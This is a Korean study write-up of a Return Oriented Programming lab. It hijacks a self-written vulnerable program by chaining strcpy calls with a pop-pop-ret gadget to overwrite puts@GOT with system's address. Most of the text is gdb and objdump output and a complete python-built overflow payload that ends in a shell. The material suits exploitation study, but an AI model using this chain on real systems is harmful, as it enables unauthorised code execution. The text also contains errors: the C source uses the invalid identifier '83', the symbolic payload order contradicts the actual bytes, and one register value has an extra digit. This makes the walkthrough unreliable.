

## # ROP(Return Oriented Programming)

프로그램을 마음대로 조종할 수 있는 취약점을 발견했지만  
코드를 실행 가능한 메모리 영역에 올릴 수 있는 확실한 방법이  
없을 때 ROP를 사용한다.

### - 예제 코드

```
char b7[] = "\xb7";
char e5[] = "\xe5";
char 83[] = "\x83";
char b0[] = "\xb0";
main(int argc, char *argv[])
{
    char buf[32];
    strcpy(buf, argv[1]);
    puts("/bin/sh");
}
```

```
lhj@lhj-vm:~/study$ cat rop_t.c
char b7[] = "\xb7";
char e5[] = "\xe5";
char 83[] = "\x83";
char b0[] = "\xb0";

main(int argc, char *argv[])
{
    char buf[32];
    strcpy(buf,argv[1]);
    puts("/bin/sh");
}
```

puts의 got를 overwrite 해서 system 함수를 불러올 예정이다.

```
lhj@lhj-vm:~/study$ gdb -q rop_t
Reading symbols from rop_t...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048453
gdb-peda$ r
Starting program: /home/lhj/study/rop_t

[-----registers-----]
EAX: 0x1
EBX: 0xb7fc3000 --> 0x1aada8
ECX: 0xc1a0c529
EDX: 0xbffff024 --> 0xb7fc3000 --> 0x1aada8
ESI: 0x0
EDI: 0x0
EBP: 0xbffffeff8 --> 0x0
ESP: 0xbfffffd0 --> 0x1
EIP: 0x8048453 (<main+6>:      mov     eax,DWORD PTR [ebp+0xc])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
```

- main 함수에 breakpoint를 걸어주고 디버깅을 시작한다.

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e583b0 <__libc_system>
```

- system 함수의 주소는 0xb7e583b0이다.

```
lhj@lhj-vm:~/study$ objdump -s rop_t | grep b7
8048574 0b740478 003f1a3b 2a322422 1c000000 .t.x.?.;*2$"....
804a01c 00000000 00000000 b700e500 8300b000 .....
```

system 함수 주소(0xb7e583b0)의 문자열이 나란히 함께 있는 것을 찾을 수 없어서 한 개씩 구했다.

→ objdump -s rop\_t | grep b7(e5, 83, b0)

```
⇒ b7 : 0x804a024
   e5 : 0x804a026
   83 : 0x804a028
   b0 : 0x804a02a
```

-> 이것들을 하나하나 strcpy해서 puts@GOT를 overwrite 할 예정임.

```
lhj@lhj-vm:~/study$ objdump -d rop_t | grep strcpy
08048300 <strcpy@plt-0x10>:
08048310 <strcpy@plt>:
8048465:      e8 a6 fe ff ff      call    8048310 <strcpy@plt>
```

- strcpy 함수 주소 : 0x8048310

(objdump -d ./rop | grep strcpy\@plt\>)

-> strcpy의 함수 주소 찾기 (gdb에서 실행시켜서 함수 주소 찾기도 가능)

```
lhj@lhj-vm:~/study$ objdump -R rop_t | grep puts
0804a010 R_386_JUMP_SLOT      puts
```

- puts@GOT 주소 : 0x804a010

(objdump -R ./rop | grep puts)

-> puts의 got를 overwrite를 위해 got 주소 찾기 (gdb에서 실행시켜서 함수 주소 찾기 -> x/4i 0x8048320 값을 사용)

strcpy(puts@GOT+0, 0x804a02a);

strcpy(puts@GOT+1, 0x804a028);

strcpy(puts@GOT+2, 0x804a026);

strcpy(puts@GOT+3, 0x804a024);

-> 이렇게 작업이 이뤄져야 함. (리틀엔디언 방식이기 때문에 \xb0\x83\xe5\xb7으로 넣어줘야 해서 반대로 뒤집혔다.)

strcpy RET(ppr) puts@GOT+0 0x804a02a

strcpy RET(ppr) puts@GOT+1 0x804a028

strcpy RET(ppr) puts@GOT+2 0x804a026

strcpy RET(ppr) puts@GOT+3 0x804a024

-> 페이로드가 다음과 같이 되어야 한다.

strcpy에서 다음 strcpy로 가려면 ESP에서 8만큼 더하고 return을 해야 되는데,

pop이 esp를 4증가 시켜주기 때문에 pop pop ret 가젯이 필요함.

```
- -
8048414:      c6 05 2c a0 04 08 01      movb    $0x1,0x804a02c
804841b:      c9                        leave
804841c:      f3 c3                    repz ret
- -
8048471:      e8 aa fe ff ff          call    8048320 <puts@plt>
8048476:      c9                        leave
8048477:      c3                        ret
- -
80484de:      5f                        pop     %edi
80484df:      5d                        pop     %ebp
80484e0:      c3                        ret
```

※ ppr 가젯 구하기

objdump -d ./rop | grep ret -B2

ppr : 0x80484de

- 전체적인 페이로드를 작성 해보자.

0x8048310 + 0x80484de + 0x804a010 + 0x804a02a

0x8048310 + 0x80484de + 0x804a011 + 0x804a028

0x8048310 + 0x80484de + 0x804a012 + 0x804a026

0x8048310 + 0x80484de + 0x804a013 + 0x804a024

※ 마지막으로 return 값은 strcpy 바로 다음의 0x804846a로 하겠다.

- payload 작성하여 보자

"\x90" \* buf(32) + sfp(4) + strcpy + ppr + puts@got+0 + b7 + strcpy + ppr + puts@got+1 + e5 .... /bin/sh(puts("/bin/sh"));

```
lhj@lhj-vm:~/study$ ./rop_t `python -c 'print "A"*36 + "\x10\x83\x04\x08" + "\xde\x84\x04\x08" + "\x10\xa0\x04\x08" + "\x2a\xa0\x04\x08" + "\x10\x83\x04\x08" + "\xde\x84\x04\x08" + "\x11\xa0\x04\x08" + "\x28\xa0\x04\x08" + "\x10\x83\x04\x08" + "\xde\x84\x04\x08" + "\x12\xa0\x04\x08" + "\x26\xa0\x04\x08" + "\x10\x83\x04\x08" + "\xde\x84\x04\x08" + "\x13\xa0\x04\x08" + "\x24\xa0\x04\x08" + "\x6a\x84\x04\x08"'`
/bin/sh
$ id
uid=1000(lhj) gid=1000(lhj) groups=1000(lhj),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
```

```
./rop `python -c 'print "A"*36 + "\x10\x83\x04\x08" + "\xde\x84\x04\x08" + "\x10\xa0\x04\x08" + "\x2a\xa0\x04\x08" + "\x10\x83\x04\x08" + "\xde\x84\x04\x08" + "\x11\xa0\x04\x08" + "\x28\xa0\x04\x08" + "\x10\x83\x04\x08" + "\xde\x84\x04\x08" + "\x12\xa0\x04\x08" + "\x26\xa0\x04\x08" + "\x10\x83\x04\x08" + "\xde\x84\x04\x08" + "\x13\xa0\x04\x08" + "\x24\xa0\x04\x08" + "\x6a\x84\x04\x08"'`
```